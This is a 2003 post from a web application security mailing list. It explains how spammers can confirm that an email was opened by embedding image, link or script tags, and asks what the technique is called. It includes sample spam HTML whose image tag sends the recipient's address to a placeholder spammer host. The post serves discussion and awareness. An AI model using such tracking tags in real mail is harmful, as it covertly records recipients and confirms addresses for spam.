WebApp Sec mailing list archives

spam technique name?

From: "Calderon, Juan C (CORP, DDEMESIS)" <Juan.Calderon () ddemesis ge com>
Date: Tue, 22 Apr 2003 12:06:16 -0400

Hello all

Recently I was thinking about a technique that could be used by spammers, I don't know a common name or something for 
such a technique, so if you know it please let me know.

PROBLEM
        How can a spammer know if the victim opened the mail?, one is the well known "Remove Me" link which, in fact, 
will confirm user read the message (and probably will be bombed with many more, now that he said "hey!, I'm here").  
However, it requires user interaction.

SOLUTION
        A simple "solution" can be to insert a Image, Link (for CSS for example) or Script tag in the HTML mail, all 
those elements indicate Web browsers to send a GET request using the SRC or HREF attribute, without user interaction. 

Sample Code (Mail sent to ficticious peter () foomail com)
<HTML>
<BODY>
        Dear Peter<br>
        Buy our brand new product, CHEAP, CHEAP, CHEAP....
        <img src='http://www.spamer.com/AutoRecordAddress.php?email=peter%40foomail%2Ecom&apos;><br>
        Click <a href='http://www.spamer.com/ConfirmVictim.php&apos;>Here</a> to be removed<br>
        NOTE:the presence of this link indicates this is not spamming even if you don't ask for this email
</BODY>
</HTML>

Viewing (or "previewing" in Outlook or similar) this email will automatically send a request for a "image" file served 
by a Server-side script, first recording the data without explicit authorization.

I've tested this (using 3 different tags) using Exchange and some others public accounts. I have succeed in all cases.

So have you seen something similar? do you think this is a kind of XSS? I do.

cheers :)
________________________________________
Juan C Calderon
IT Security

Current thread:

spam technique name? Calderon, Juan C (CORP, DDEMESIS) (Apr 22)
- Re: spam technique name? Bill Burge (Apr 22)
- RE: spam technique name? Richard M. Smith (Apr 22)
- Re: spam technique name? Jamie Pratt (Apr 22)
- <Possible follow-ups>
- Re: spam technique name? tetsujin (Apr 22)